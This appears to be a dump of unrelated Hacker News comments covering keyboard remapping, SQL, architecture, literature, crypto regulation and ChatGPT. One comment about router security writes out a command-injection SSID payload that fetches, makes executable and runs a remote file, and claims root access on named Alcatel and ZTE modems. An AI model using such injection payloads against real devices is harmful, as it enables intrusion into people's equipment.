skysight-inc/HackerNews huggingface dataset:
Karabiner Elements was a pain for me on key deduplication, and tweaking millisecond delays is just barbaric. It was perfect as a kernel extension, but moving to the safer implementation made it unreliable, which is the last thing I want from a keyboard.

PowerToys can currently deal with most key combinations and remapping, which is nice as it's first party and pretty rock solid. I still needed other utilities, but only for smaller tweaks and could live without them.

For linux, remapping the keyboard is straight editing the keymap file, and it's less crazy than the registry on windows (last time I looked into there's also no keyboard layout editors supported on windows 11, and I have no hope they'd work with the onscreen keyboard as well)
Those all provide me entertainment, which Instagram does not. It's people who use Instagram that are making the entertainment and deserve the pay, not Instagram itself.

Instagram provides a high latency poor resolution picture and short video service with comments, which you can get from anyone and everyone on today's web.
Why have any denominations for chips then? If the total value at risk is $10-20, just play for fake points. This isn’t remotely significant money for anyone.

I play with low stakes amateurs all of the time, as often as not in home games, and the smallest games people play are 1/1 or 1/2. You can’t even buy a cheeseburger in America for $1 anymore, anything less than that and you might as well not be playing for money at all; just use points and don’t worry about denominations.
Does anyone know of any JavaScript implementations of the protocol? And there was some discussion someplace some where 5 groups of 5 people iteratively made better decisions than one group of 25.

We have these words, like "elections" and "democracy" and have no idea what they are. imho.
I am talking about getting started, now, in the age of ChatGPT.

You can hire if you need to, but the dynamics in work might shift that it's just a whole new ballgame. "enterprise contract" in ten years might be a meaningless term.
I suppose it's quite off-topic, but some weeks ago I read a small book by Mary Gaitskill, the writer of the piece.

It's called "Lost Cat".

I highly recommend it. Ironically, it might be an approximate opposite of Pale Fire. It's very short, with simple yet beautiful prose, filled with intense, raw emotions.
>> The thing that's security theater isn't encrypting at rest in general
> The thing that's security theater is encrypting insecurely

Security theater should be defined as:

Doing things that outwardly appear to improve security but have de minimus or less effect on actual security.

The 93 section questionnaire from bigco's IT department is security theater. Filling it out does zero to improve security for bigco or myco or my users.
By BFT-style I meant employing rounds of voting rather than longest chain, thus being always consistent and eventually available (unlike LCR, which is always available and eventually consistent), but fair enough. Anyways, in the permissioned setting this was all solved in the 90s iirc.

Then, so, just moving stuff around in a robust and even distributed ledger is, we can all agree, while not trivial, a solved problem.

So then one can impose further constraints.
Either, 1), comply with the law and rules and regulation, and sure, that will make it less efficient. But that is the 99% of the work banks do that crypto doesn’t do, and they are not being done for fun, but for good reasons.
Or 2), permissionlessness, but what for? So you can avoid 1), because otherwise you wouldn’t need to incur the tremendous costs of 2).

I don’t think we should adapt the AirBnB/Uber approach (how much of the regulatory cost of fire regulations/working time restrictions/insurance cost can we avoid) to money transmission.

It is obviously trivially possible to do legitimate transactions with crypto, just as you can cut an onion with a machine gun. But that’s not the raison d’être of a machine gun. And the raison d’être of crypto is to escape regulation, as Satoshi basically said in the original emails, and as is abundantly clear not only from looking at the last 15 years of history, but also from the willingness to incur the massive overheads of permissionlessness.

ETA: appreciate the discussion, btw.
Running Linux on an Ancient Netbook
I have not been myself, but there is an exhibition currently at The Cantor Arts Center at Stanford University called "Day Jobs":

https://museum.stanford.edu/exhibitions/day-jobs
Tell me about it. I think it was on the second reading that i figured out it was supposed to be alternate reality science fiction. In the beginning I started reading it because it had footnotes, naively thinking that the footnotes would explain all the bizarre nabakoivsms. Quarter in the way in i was like “these are the worst footnotes ever, they do not explain anything but make things even more bewildering; and why, when the novels characters switch between four languages, dont the footnotes provide translations, at least”. I looked in the back to see who wrote these footnotes, and it was a Russian name i did not recognize. I looked him up on the internet, wondering how this random idiot managed to get these inept footnotes published with he last work of a genius, and sure enough, it turned out it was Nabakov that did the footnotes.

Yeah, nevertheless, the book is great fun and i have read it three times. I read that Pale Fire is even more of a puzzlebox than Ada or Ardor, and i dont think i am ready for that yet. But maybe someday, when i am feeling adventurous.
If you want to really double check - tell them "it's cool how you guys also take the plastic ring off plastic bottles, not just the cap"

If they say yeah we do that that is 100% confirmation that they do not live in Japan.

Super tech-specific one - ask them you want to make sure they're Japanese so you'll ask them to write something every developer can write in... 5-7 seconds max. When they confirm and are waiting, ask them "at your previous/current company or your friends' companies, how do people name their personal channels? what is the specific kanji ppl put at the end?"

This kanji is super hard to google and even harder to write phonetically, but every Japanese engineer who has ever used Slack knows how because there's almost like a "hack" for writing certain other characters that end up getting converted into that kanji.

This is so fun - 1 more:

Ask them what their favorite hummus flavor is. Basically no one in Japan (even people who have lived outside of Japan) knows what hummus is (I guess Slack even tried to teach them by making it a notification sound lol)
No, his is a second-order statement that applies to first-order statements. It's not intended to apply to second-order statements.
Can someone explain the last paragraph? The author gives the example of trying to find a 70 Ohm resistor and how the 68 Ohm and 75 Ohm are a little off. They conclude by saying you should just use 33 and 47 Ohm resistors, but wouldn't that give an resistance of 80, not 70?
It's not that hard. You can use any SQL tutorial site for practice. If you want real life data, find the stackoverflow data dump on archive.org and install a PostgreSQL instance to play with it.

IMO the biggest issue of SQL is that it brings bread and butter for the BI/DA people, who are so close to the business that they usually don't care about code quality and such. It's not the fault of the language, but the fault of erroneous team structure.
Procedures cancelled after cyber attack affects major London hospitals
Maybe, maybe not.

If the CPE is sufficiently poorly designed, it might be vulnerable to command injection attacks, so by changing the WiFi SSID to something like "'; wget http://bla/payload -O /tmp/bla; chmod +x /tmp/bla; /tmp/bla; #" you could execute a command on the device.

Alcatel's HH40V and HH41V as well as ZTE MF283+ LTE modems are a recent example I can remember where I got root SSH access by injecting commands from the admin WebUI.
> I wonder how much cheaper are land-based telescopes over the lifetime of instruments such as the Hubble or the Webb.

10-100 times cheaper. An LBT night is around $50k-100k, which over 10 years corresponds to $300 millions. JWST total budget is about $10 billions.

True, JWST can operate close to 24/7. On the other hand, land-based telescopes are under constant refurbishment and upgrades, and they become more powerful over time.
This is very cool, and looks like it targets you wanting to look stuff up and I will probably use it at some point.

But I feel that anyone looking at this and thinking "oh that's cool" should also try installing Stellarium (https://stellarium.org/). It lets you see what you can see in the night sky from any location/time on Earth, and is really useful for helping you identify what you're seeing in the night sky.

I don't mean to distract from this, because it's also great. It's just a second tool that anyone with a passing interest in astronomy should be aware of.
This misses the mark for me completely.

>My theory is that neither individuals nor organizations feel comfortable being frivolous or indulgent with their wealth anymore.

I guess the author hasn't paid attention to the rise of the mega-yacht or having personal jets. If you also don't think that the wealthy live in opulent real estate, then I've I'm not sure what rock you've been living under.

What I assume the author is really referencing is how skyscrapers and other buildings are no longer as "beautiful" as they used to be. Beyond the survivor bias of the older buildings that we perceive as "beautiful", a real explanation probably ties more to corporate accounting and business practices than anything else.

The big grand skyscraper for a company HQ pre-dates the exodus of city centers in the 70s and 80s. In the meantime, the construction of these types of buildings is now being pursued by developers, rather than corporations. Those developers have a much different approach to building, which is much more about making profitable real estate, rather than something that's a statement or a symbol. Corporation also needs more flexibility in their office space that makes renting vs owning a much more viable approach to meeting space needs. We no longer need all employees working under one big roof, and corporations are far more likely to have far more office locations than they did.

I also think that the definition of what this author and the one they're responding to consider "beautiful" is largely missing. We still build fantastic buildings, but they likely don't look like they were built in the 1920s or 1930s and may not align with everyone's preferred aesthetic.
Insightful article. Not something I had considered before, but also...isn't this just a fancy way of defining a geometric sequence thats convenient for values in base-10?
Saturday Night Live sketch circa 1986. He's at a Star Trek convention in a small town and finally snaps at the trivia-mad, stalkerish fans telling them to "Get life, will you people?!"
Lay them out as they relate to the situation.
Oh, yes, that I totally have experienced!
Not OC, and I've never tried psychedelics, but even a strong fever will make you hallucinate, and I've had a couple of those. You mind closes up into itself, and the world it creates, while extremely simplistic, feels very real.
You could also ask Adolf Loos[1].

The problem is that theory doesn't explain why specifically, modernism displayed traditional architecture starting in the 1920s.

Was there a phase change in what businesses requested from architectural firms? Was there a systemic shift in shareholder relations, or how boards made decisions? Were non-ornamented buildings substantially less expensive? Do we have accounts of decision-makers requesting less ornamentation?

The issue that I have with this theory is that it's bottom-barrel speculation. It's no better than folk etymology and we shouldn't hold it to a lesser standard. There's more mundane explanations too, like architectural students were indoctrinated with modernism architectural principles because it was a shiny new design trend rather than an over-arching economy of hidden incentives that resulted in minimalism.

1. https://depts.washington.edu/vienna/documents/Loos/Loos_Orna...
I view SQL right now similar to the way I viewed C++ in early 2000s:

I hate it, but there's little point in complaining because it's so ubiquitous.

More robust criticism is provided here (https://carlineng.com/?postid=sql-critique#blog), which pulls on an interview here (https://www.red-gate.com/simple-talk/opinion/opinion-pieces/...) The quote I usually drag out is from Chris Date, who helped pioneer relational DBs:

"At the same time, I have to say too that we didn’t realize how truly awful SQL was or would turn out to be (note that it’s much worse now than it was then, though it was pretty bad right from the outset)."

As an example of a language that does it better, I think kusto-query-language (KQL, https://learn.microsoft.com/en-us/azure/data-explorer/kusto/...) has been a dream to work with. (disclaimer, Kusto is a Microsoft product, and I'm a Microsoft employee).
That's why I'm not an AT&T customer. Spectrum lets me bring my own hardware, and they're the only other option in my area, so Spectrum gets my business. Plain and simple. Unfortunately, not everyone has the palatable solution that I have.
Fyrox Game Engine 0.34
Potentially, yes. But that's where Signal's protocol helps. It includes plausible deniability.

Therefore even if your chat log is leaked by one member, it isn't possible to probe person A sent the message. If person B was the leaker, anyone that person B has ever communicated with on Signal could have sent the message appearing to be from person A.
I also thought that was interesting. Also, wouldn't the tolerance be doubled when you add them in series? Or does it still average out to +/- 5%?
Took re-reading the tutorial to realize TAB key was required to switch groups.
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Hard to say. The Feynman Lectures aren’t universally loved. Physics courses that used hem as a textbook lost a lot of students although I read them myself on the way to a physics PhD and enjoyed them.

In physics I think there is no opportunity in research to do what Feynman did. Sure Ed Witten is a smart guy and did some really cool math but he hasn’t done a single thing connected to experiments and quite possibly his work will never be confirmed.

I know a prof who is famous for his machine learning work who has written some undergrad textbooks that I was impressed with but someone who worked with him as a TA (and now teaches CS at a small Christian college) was not impressed with that prof’s commitment to education.

I’m sure people who have done important research (say in biomedicine) have written great textbooks and done research but I don’t know them my name.
SQLite is good for this.
I formed an intuitive signal processing interpretation of the Riemann Hypothesis many years ago, which I'll try to summarize briefly here. You can think of the Zeta function as a log-time sampler -- zeta(s) is the Laplace transform of sum(delta(t-ln n)) which samples at time t=(ln n) for integers n>0, a rapidly increasing sample rate. You can imagine this as an impulse response coming from a black box, and the impulse response can either be finite in energy or a power signal depending on the real parameter.

If you suppose that the energy sum(|1/s|^2) is finite (ie real(s) > 1/2), then the Riemann Hypothesis implies that the sum is non-zero. It is akin to saying that the logarithmic sampler cannot destroy information without being plugged-in.
Also long term safety. Water (and its freezing) damages everything over time, old ornate stuff sticking out falling down is a risk. And nobody really wants to pay proper regular maintenance, which goes to point 2)
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> Labor costs. It’s relatively expensive to build ornate masonry buildings in high-wage economies. Overall, this is a good thing.

To back this up, here's a quote from people who are building a new ornate masonry building:

"We originally wanted to bid out the stone carving," explains Brother Isidore Mary, the 30-year-old monk in charge of construction, "but when we heard the cost, we almost had a heart attack. There was no way we could afford it, so we decided to figure out how to build the monastery ourselves." In 2013 the monks purchased a Prussiani [CNC] stone carving machine. After several months of trial and error, they began carving ornate pieces of stone.

https://www.arizcc.com/post/carmelite-monks-of-wyoming-use-t...
Sure, just as the bad bad SEC sends men with guns after people trying to do an unregistered IPO. Terrible, the last 90 years of regulated IPOs. The oppression.
The reason jobs aren't coming back is because startups can't borrow free money. ChatGPT is nowhere near ready to be correct enough to replace humans for important tasks.
Exactly. Start using the "Upload file" feature instead of pasting code in the window and screwing up the UX. Game changer!
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You could easily chalk that up to fashion. Glass and steel wireframe polygons are all the rage in the rich countries. Why would a poor country want to look poor?

Also, if it's comparably cheap and fast in the rich countries, it's still cheap and fast in poor countries.
I mean, I would assume that they're not necessarily talking about LLMs.

And the 'oops, we made Roko's Basilisk' risk is not the only risk that people are concerned with, of course. LLMs come with many of their own risks, primarily around misuse (ie using them for anything important.)
> they can still draw it.

yes, and we should study those and learn what we can. As people are doing.

However, the picture we get is pretty fuzzy, and there's no good way to increase the resolution sans DNA evidence or other newer techniques.
https://archive.ph/fdT6N

A link in case the site doesn't load.
I am very glad that the person who received the cash did the right thing and told the police immediately. I have to think it would be pretty tempting to keep the cash, so it's good that at least one person has some integrity.
Indeed, the first incompleteness theorem tells us that any logical framework which can express Peano arithmetic must necessarily contain true (resp. false) facts for which no (resp. counter) proof can be given.

Sometimes you can prove that no proof exists about a specific sentence (that's what his incompleteness proof does), and I think you could extend this technique to construct sentences where no proof exists of whether it has a proof, etc...
Haha. Somerville resident here. I think they are ugly too and should all be torn down and replaced with 6-8 story mid-rise with first floor retail. Our opinion seems to be in the minority however.

Mid-Cambridge does have beautiful 5-6 story masonry buildings, which ironically, given the hot market, probably are economically feasible for a developer to build. Zoning prohibits this however.

As it stands, imho Somerville MA, is #1 in the nation on the (ugliness * cost) scale. Chain link fences, few parks, lots of concrete, and housing that outwardly looks the same as it did 50 years ago, but is 10X as expensive.
“We as humans – it’s evolutionary to want to store this fat and want to keep it on.”

then why are the majority of people still not obese? For obesity to be evolutionary beneficial would suggest a near-100% obesity rate through selection effects yet this has not happened despite an abundance of food.

Jonathan Meyers, the Maryland man searching for Zepbound, has plenty of experience with the kind of drastic lifestyle changes necessary for him to lose weight without medication. It requires diligently tracking every bite, by scanning everything he eats into a mobile app, and limiting himself to about 1,000 calories a day, just enough to leave him ”just absolutely starving all the time.”

wtf. how is this possible? 1,000 calories a day is crazy low
for a male. He is either a genetic outlier or not tracking correctly. Or the obesity situation is worse or more hopeless than expected if solving it entails people must eat starvation rations or be forced to use a pricy, scarce drug to dull the hunger.
Off the top of my head, every book I can think of that provides deep insight into the human condition does require putting in some work. Let's take as an example "Night" by Elie Wiesel, a book that is written so simply it is typically assigned in middle school (that's when I read it). Well, it was assigned in school for a reason -- there's a lot of work to put in to learn more about the history of the Holocaust, concentration camps, and specifically the death marches, as well as the actual full biography of the author (the novel is an autobiography but it only covers one early part of his life).
It doesn't matter that it is wrong often. Consider this:

When I first used GPT last year, I asked it to "Create me a content delivery network on AWS"

GPT began outputting a fairly comprehensive CDK, which is Code-as-configuration, a layer ontop of AWS SAM, which is another layer over AWS CloudFormation. The script created all the buckets, certificates, policies, and the CloudFront distribution and linked everything together.

It was in JavaScript, and I asked it if they had a Python SDK, and it converted the script into Python.

Then GPT gave me instructions on how to go into my domain provider to setup a CNAME for a CloudFront subdomain of my choice.

THIS IS WHAT HAS BEEN REPLACED:

I would have performed a Google search for "AWS CDN How" or something like that.

Next, I would read AWS documentation until I felt comfortable enough about the components involved. I'd then go into AWS Console and set one up manually by creating the buckets, policies, certificates, and the CloudFront distribution.

I would have wanted a custom domain, so I'd figure out how to setup the CNAME to point to the CloudFront distribution. This would've taken at least two hours for me personally. Knowing nothing about DNS, I'd want to get my bearings and I'd waste time down that rabbit hole.

Burn an extra hour with stupid issues like not having a '.' at the end of the CNAME target. That has actually tripped me up in the past.

Next to make sure I really understood what was going on-- I would tear the CDN down, build it back up, and take notes and put them in the company Confluence.

Afterwards, I would try to automate it the process. Being a generalist and not a DevOps person, I'd probably start searching for some older tech I had heard about but never used: "Ansible AWS", "Puppet AWS" or "Chef AWS".

I'd quickly learn about a thing called CloudFormation and start reading up on it.

I'd realize I had zero interest in learning CloudFormation because it is tedious and error-prone. I would begin to Google for something on top of it.

I'd likely get dumped into a SAM tutorial

Next, I'd start building out a prototype in SAM, and by the time it was half-way done and the week was almost over I'd watch a YouTube video and find out about: CDK

By then, I would have had enough! As a generalist engineer, I'd tell myself, "you're not qualified to setup a CDN. You need DevOps." But then I would pick myself up and push through for another week in more frustration sorting out the rest of the odds and ends. And this is what my career has been like my whole life.

And now GPT is giving me a Python script I can put to use in seconds. It wasn't perfect, and I had some hiccups along the way, but by the end of the day, I had the basics of the CDN I'm using for my product, and I feel I understand it better because it was delivered in such a bite-sized compact script vs me having to cross-reference my memory.

This revelation blew my fucking mind!

So, I don't use GPT for writing code because that's not what it's good at.

I use GPT to automate the very expensive, very time-consuming, highly compensated function of specialized Google Search